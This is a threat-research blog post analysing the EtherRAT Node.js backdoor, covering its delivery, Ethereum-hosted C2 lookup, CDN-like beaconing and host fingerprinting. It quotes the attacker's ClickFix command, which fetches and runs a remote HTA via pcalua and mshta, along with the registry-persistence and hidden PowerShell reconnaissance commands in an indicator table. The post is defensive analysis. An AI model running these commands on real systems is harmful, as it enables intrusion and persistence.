Threat Response Unit

EtherRAT & SYS_INFO Module: C2 on Ethereum (EtherHiding), Target Selection, CDN-Like Beacons

eSentire Threat Response Unit (TRU)

March 25, 2026

16 MINS READ

What did we find?

In March 2026, eSentire's Threat Response Unit (TRU) detected EtherRAT in a customer's environment in the Retail industry. EtherRAT is a Node.js-based backdoor reportedly linked by Sysdig to a North Korean advanced persistent threat (APT) group due to significant overlaps with "Contagious Interview" tactics, techniques, and procedures (TTPs).

EtherRAT allows threat actors to run arbitrary commands on compromised hosts, gather extensive system information, and steal assets such as cryptocurrency wallets and cloud credentials. Command-and-Control (C2) addresses are retrieved using "EtherHiding", a technique to make C2 addresses more resilient by storing and updating them in Ethereum smart contracts, allowing threat actors to rotate infrastructure at a small cost and avoid takedowns by law enforcement. After retrieving the C2 address through public Ethereum RPC providers, the malware blends in with normal network traffic through CDN-like beaconing.

TRU discovered many similarities between the code in the Malware-as-a-Service botnet Tsundere and EtherRAT. Notably, both use similar commands in OS fingerprinting and CIS language checking, can be delivered through ClickFix and IT Support scams, and make use of Obfuscator.io, a free JavaScript obfuscation tool, though it is widely used among Node.js malware in general.

For more information, please see our previous blog post, MuddyWater APT + Tsundere Botnet: EtherHiding the C2.

Initial Access

Initial access vectors in observed EtherRAT incidents vary. In this case, TRU observed the use of ClickFix; however, in most incidents TRU has observed, IT Support scams are conducted over Microsoft Teams, followed by the use of QuickAssist.

The ClickFix command makes use a technique called Indirect Command Execution where the LOLBin pcalua.exe executes a command line for mshta.exe, effectively bypassing security restrictions that limit use on command-line interpreters and retrieving a malicious HTA script named "shep.hta" from the compromised website, "shepherdsestates[.]uk". Additionally, as is a common practice in obfuscating command lines, the caret "^" character is used.

"C:\Windows\system32\cmd.exe" /min /c "p^c^a^l^u^a^.^e^x^e ^-a ^m^s^h^t^a^.^e^x^e ^-c ^h^t^t^p^s^:^/^/w^w^w^-^f^l^o^w^-^s^u^b^m^i^s^s^i^o^n^-^m^a^n^a^g^e^m^e^n^t^.^s^h^e^p^h^e^r^d^s^e^s^t^a^t^e^s^.^u^k^/^s^h^e^p^.^h^t^a^"

The deobfuscated contents of the command line are shown below.

"C:\Windows\system32\cmd.exe" /min /c "pcalua.exe -a mshta.exe -c hxxps://www-flow-submission-management.shepherdsestates[.]uk/shep.hta"

Attack Diagram

The figure below illustrates the progression of the attack, beginning with ClickFix for initial access and culminating in the deployment of EtherRAT, followed by a C2-delivered module we've dubbed "SYS_INFO" that performs extensive host fingerprinting – information the threat actors use to support target selection and decisions for follow-on payloads.

Figure 1 – Attack Diagram
Figure 1 – Attack Diagram

Stage 1

The first stage Node.js script simply decrypts/executes the next stage. It uses AES-256-CBC to decrypt the encrypted stager payload from the file "aeJ8aMT9ogQtKEb.dat". It makes use of the internal Node.js function module._compile() to run the next stage in memory.

Figure 2 – First stage Node.js script
Figure 2 – First stage Node.js script

Using CyberChef we can see the decrypted plaintext of the next stage. This is a simple process, first by using the AES Decrypt operation and specifying the embedded AES key / IV as BASE64.

Figure 3 – Decrypting next stage via AES Decrypt in CyberChef
Figure 3 – Decrypting next stage via AES Decrypt in CyberChef

Stage 2

Given the appearance and functionality of this stage, we conclude it was obfuscated via Obfuscator.io and serves to decrypt/launch EtherRAT and establish persistence via HKCU Run key. The encrypted code for EtherRAT is stored in a seemingly innocuous file named, "2htgIPQLUYA3aWq.cfg".

The script decrypts this file using AES-256-CBC via Node's crypto module, using the AES key and IV that are embedded in this stage as base64-encoded strings. The resulting plaintext (obfuscated EtherRAT) is written to disk as a file named, "TLHA1IlxoF.bin", and executed via child_process.spawn().

Figure 4 – Stage 2, decrypt/execute EtherRAT
Figure 4 – Stage 2, decrypt/execute EtherRAT

The next portion of this stage generates a random 12-character hexadecimal string for use as the value name of a new registry value in the HKCU Run key. The registry key is created via the LOLBin reg.exe, effectively establishing persistence for EtherRAT.

The associated code and resulting command line are shown in the figure below. Notably, the command uses conhost.exe (Windows Console Host) to proxy-execute node.exe via the undocumented --headless argument.

Figure 5 – Persist EtherRAT via HKCU Run key
Figure 5 – Persist EtherRAT via HKCU Run key

Stage 3 (EtherRAT)

The final stage is EtherRAT, a Node.js script that communicates with RPC providers to acquire C2 addresses and enables arbitrary code execution from threat actor controlled C2 server. It polls the C2 for code to execute through randomized and seemingly benign "CDN-like" URLs.

Like the prior stage, it was also likely obfuscated via Obfuscator.io, given the presence of a large strings array and shuffling loop to re-order it at runtime.

Figure 6 – EtherRAT obfuscated by Obfuscator.io
Figure 6 – EtherRAT obfuscated by Obfuscator.io

There is an existing open-source project by @ben-sb that handles Obfuscator.io obfuscation quite well, however it did not work against samples in this incident, due to assumptions in the "isBasicStringArrayWrapper" function that assumes a specific structure of the function responsible for returning a string by index.

In our case, the function doesn't redefine itself and contains several statements of "dead code", effectively breaking the existing pattern matching in the isBasicStringArrayWrapper function.

Figure 7 – String array lookup function
Figure 7 – String array lookup function

We created this pull request in the repository to handle this type of obfuscation. In time, it should become part of the web-based version of the deobfuscator. In the meantime, the forked repository can be used to deobfuscate scripts using this technique through the following commands:

git clone https://github.com/YungBinary/obfuscator-io-deobfuscator.git
cd obfuscator-io-deobfuscator 
npm install 
node ./dist/cli.js path/to/obfuscated.js -o path/to/deobfuscated.js 

Acquire C2 Address via EtherHiding

EtherHiding is a technique becoming more popular in malware and allows threat actors to embed malicious code or configuration data on the Ethereum blockchain by transaction or smart contract input data, resulting in a takedown-proof storage medium.

Beyond takedown resilience, threat actors conduct additional transactions that redirect previously infected machines to new C2 infrastructure, effectively reasserting control over older infected machines at the cost of a small amount of crypto.

Figure 8 – Retrieve C2 via EtherHiding
Figure 8 – Retrieve C2 via EtherHiding

The Ethereum smart contract address 0xe26c57b7fa8de030238b0a71b3d063397ac127d3 in this incident appears frequently in eSentire case data related to EtherRAT and has also been associated with attacks against other customers in the Business Services, Software, and Finance industries. These campaigns have involved IT Support scams conducted via Microsoft Teams and QuickAssist for unauthorized remote access.

Much like other Node.js malware that we have blogged about, EtherRAT sends requests to all the RPC providers concurrently and evaluates the responses for the most common C2 address. This gives threat actors the ability to use setString function to store high priority C2 server addresses on the existing smart contract, thus refreshing the C2 address for bots that may no longer have connection to a valid C2.

The full list of RPC providers used in this process are as follows:

By searching EtherScan.io for the smart contract and navigating to "Events", we are able to see a list of events where threat actors repeatedly used the setString function to store additional C2 addresses.

Figure 9 – EtherScan.io events for smart contract with C2 addresses
Figure 9 – EtherScan.io events for smart contract with C2 addresses

C2 Communication

Once the malware retrieves the C2 address from the Ethereum blockchain, it builds the final beacon URL in a way that looks like a benign CDN request, using a common "/api/" path, random-looking hexadecimal directories "5f459179", a UUID, and an innocuous-looking static file name, ".ico".

The format of a generated URL is shown in the code snippet below:

<C2_ADDRESS>/api/<RANDOM_8_HEXADECIMAL_CHARS>/<RANDOM_UUID>/ <RANDOM_8_HEXADECIMAL_CHARS>.<RANDOM_EXTENSION>?<RANDOM_QUERY_PARAMETER>=<BUILD_ID>

For example, we saw beaconing to the following URL:

hxxps://aurineuroth[.]com/api/5f459179/29e96c95-62a5-49e5-a8ba-7ebfbf560ab7/b435a6b1.ico?b=9e2f9c07-f85a-4089-8669-186f56bca7b3

In building this URL, EtherRAT selects at random one of each of the following "file extensions" and query parameters:

Figure 10 – Beacon via CDN-like URL and Get Code to Execute from C2
Figure 10 – Beacon via CDN-like URL and Get Code to Execute from C2

If configured to do so, EtherRAT will write to a debug log at %APPDATA%\svchost.log. Modifying the script by changing the default false boolean used in enabling or disabling debug logging to true is effective for analysis purposes. The figure below displays the contents of the log file after the malware retrieved the C2 from the Ethereum blockchain and began polling for commands.

TRU observed EtherRAT communicating over HTTPS using TLS 1.3, preventing inspection of HTTP-specific malware traffic in PCAP captures, so using this technique and re-writing the malware on-the-fly was helpful in dumping requests and responses from C2 infrastructure.

Figure 11 – Debug log
Figure 11 – Debug log

Reobfuscation

EtherRAT reobfuscates itself by sending the current EtherRAT source code to the C2 server via POST request in JSON format. If the reobfuscation request is successful, it overwrites itself with the response returned from the C2 and restarts.

Figure 12 – Reobfuscation request, restarts itself
Figure 12 – Reobfuscation request, restarts itself

EtherRAT SYS_INFO Module

In our analysis, TRU observed the EtherRAT C2 at aurineuroth[.]com (185.218.19.162 - ASN#400992 "ZhouyiSat Communications") return additional code to execute. This code is responsible for the fingerprinting commands shown in the Attack Diagram (Figure 1) and Indicators of Compromise table below and frequently references "SYS_INFO" throughout.

Figure 13 – SYS_INFO module returned by C2
Figure 13 – SYS_INFO module returned by C2

Before proceeding to collect comprehensive information from the victim machine, it checks for CIS language use by the victim machine. The full list of languages checked are: Russian, Belarusian, Kazakh, Kyrgyz, Tajik, Uzbek, Armenian, Azerbaijani, and Georgian.

If any language matches, it "self-destructs" by deleting itself and exiting. For Windows, a specific PowerShell command is used, whereas for other operating systems, the environment variables "LANG"and "LC_ALL" are checked.

Figure 14 – CIS language check
Figure 14 – CIS language check

It then proceeds to collect the following information from the victim machine:

Figure 15 – System information collection
Figure 15 – System information collection
Figure 16 – Sends all system information collected to C2
Figure 16 – Sends all system information collected to C2

What did we do?

What can you learn from this TRU Positive?

Recommendations from the Threat Response Unit (TRU)

Indicators of Compromise

Type Value Description
Command Line C:\Windows\system32\cmd.exe /c where curl.exe 2>nul Uses LOLBin where.exe to determine the path of curl.exe (CURL)
Command Line "C:\Windows\System32\curl.exe" -s -L -o "C:\Users\<USERNAME>\AppData\Local\Temp\QE35OO5mUa.zip" "https://nodejs.org/dist/v18.17.0/node-v18.17.0-win-x64.zip" Download node version 18.17.0 portable via CURL
Command Line ta""r -xf "C:\Users\<USERNAME>\AppData\Local\Temp\QE35OO5mUa.zip" -C "C:\Users\<USERNAME>\AppData\Local\VZM5DH" Unzip node via obfuscated 'ta""r' command
Command Line C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "0c939bf7ae8f" /t REG_SZ /d "conhost.exe --headless "C:\Users\<USERNAME>\AppData\Local\VZM5DH\xgYbxq\node.exe" "C:\Users\<USERNAME>\AppData\Local\VZM5DH\TlHAiIlxoF.bin"" /f" Persistence via LOLBin reg.exe with headless conhost for EtherRAT payload
Command Line C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "[System.Globalization.CultureInfo]::InstalledUICulture.Name"" Fingerprinting by getting the victim host's language
Command Line C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_VideoController).Name -join ', '"" Fingerprinting by getting the name of the victim machine's GPU
Command Line C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "try { (Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct -EA Stop).displayName -join ', ' } catch { 'none' }"" Get installed AntiVirus information from the victim machine
Command Line C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).Domain"" Get the Active Directory (AD) domain the victim machine is joined to
Command Line C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).PartOfDomain"" Check if the victim machine is part of an AD domain (potentially indicating it could be of high value)
Command Line C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName" Fingerprinting victim OS name
Command Line C:\Windows\system32\cmd.exe /d /s /c "net session" Discovery command to list session information
Command Line C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-WmiObject Win32_LogicalDisk | Select-Object DeviceID,VolumeName,Size,FreeSpace,DriveType | ConvertTo-Json"" Discovery command to list information about drives, output as JSON
Command Line C:\Windows\system32\cmd.exe /d /s /c "net use" Discovery command used in listing network resources, e.g. shared directories
URL https://nodejs.org/dist/v18.17.0/node-v18.17.0-win-x64.zip Node.js download URL
Domain jariosos.com EtherRAT C2
Domain hayesmed.com EtherRAT C2
Domain regancontrols.com EtherRAT C2
Domain salinasrent.com EtherRAT C2
Domain justtalken.com EtherRAT C2
Domain mebeliotmasiv.com EtherRAT C2
Domain euclidrent.com EtherRAT C2
Domain o-parana.com EtherRAT C2
Domain palshona.com EtherRAT C2
Domain aurineuroth.com EtherRAT C2
IP 185.218.19.162 EtherRAT C2
Command Line (Linux) lspci 2>/dev/null | grep -i vga | cut -d: -f3 Get GPU name on Linux
Command Line (Linux) glxinfo 2>/dev/null | grep "OpenGL renderer" | cut -d: -f2 Get GPU name on Linux (fallback)
Command Line (Linux/macOS) ps aux 2>/dev/null List running processes to identify installed AntiVirus
Command Line (Linux/macOS) hostname -d 2>/dev/null || dnsdomainname 2>/dev/null || echo "local" Get the victim domain
Command Line (Linux) lsb_release -d 2>/dev/null | cut -f2 Get victim machine OS information
Command Line (macOS) sw_vers -productName && sw_vers -productVersion Get victim machine OS information
File 2edf1ab615b489e228a89c617d24f66d1e780a6d5e30f6886608dfe79325acf8 EtherRAT HTA script "shep.hta"
File 294c597c89023093e1e175949f5104f887b89cd8e1cf1d3192ee9032739f259e EtherRAT MSI loader
File 5623f4f8942872b2b7cb6d2674c126a42bdf6ed5d1f37c1afc348529e4697d73 EtherRAT stage 1
File b1ee812e7c786c8696f913595658e57706d97a66ca7b7634f421f5c552e7002b EtherRAT stage 2 (deobfuscated)
File 47f74749cfcd55c8dacde2cc9b4c45282bec7a93ee19b7b81b452c99758d3370 EtherRAT stage 2 (obfuscated)
File 03c4e54cc775ab819752dc5d420ab2fed03bd445c3ce398d021031100b334fb4 EtherRAT (deobfuscated)
File 7dd1bf7a58774a081062f5c8f183d24f95c433805e0bf73280c0adba1c71390d EtherRAT (obfuscated)
File 83b1f11c6a0bd267e415136440559131d2d4ace9a65dc221ea3b144fe0e7199b EtherRAT SYS_INFO module
Domain www-flow-submission-management.shepherdsestates.uk Compromised website serving HTA/MSI

References

 

To learn how your organization can build cyber resilience and prevent business disruption with eSentire’s Next Level MDR, connect with an eSentire Security Specialist now.

GET STARTED

ABOUT ESENTIRE’S THREAT RESPONSE UNIT (TRU)

The eSentire Threat Response Unit (TRU) is an industry-leading threat research team committed to helping your organization become more resilient. TRU is an elite team of threat hunters and researchers that supports our 24/7 Security Operations Centers (SOCs), builds threat detection models across the eSentire XDR Cloud Platform, and works as an extension of your security team to continuously improve our Managed Detection and Response service. By providing complete visibility across your attack surface and performing global threat sweeps and proactive hypothesis-driven threat hunts augmented by original threat research, we are laser-focused on defending your organization against known and unknown threats.

Back to blog

Take Your Cybersecurity Program to the Next Level with eSentire MDR.

BUILD A QUOTE

Read Similar Blogs

EXPLORE MORE BLOGS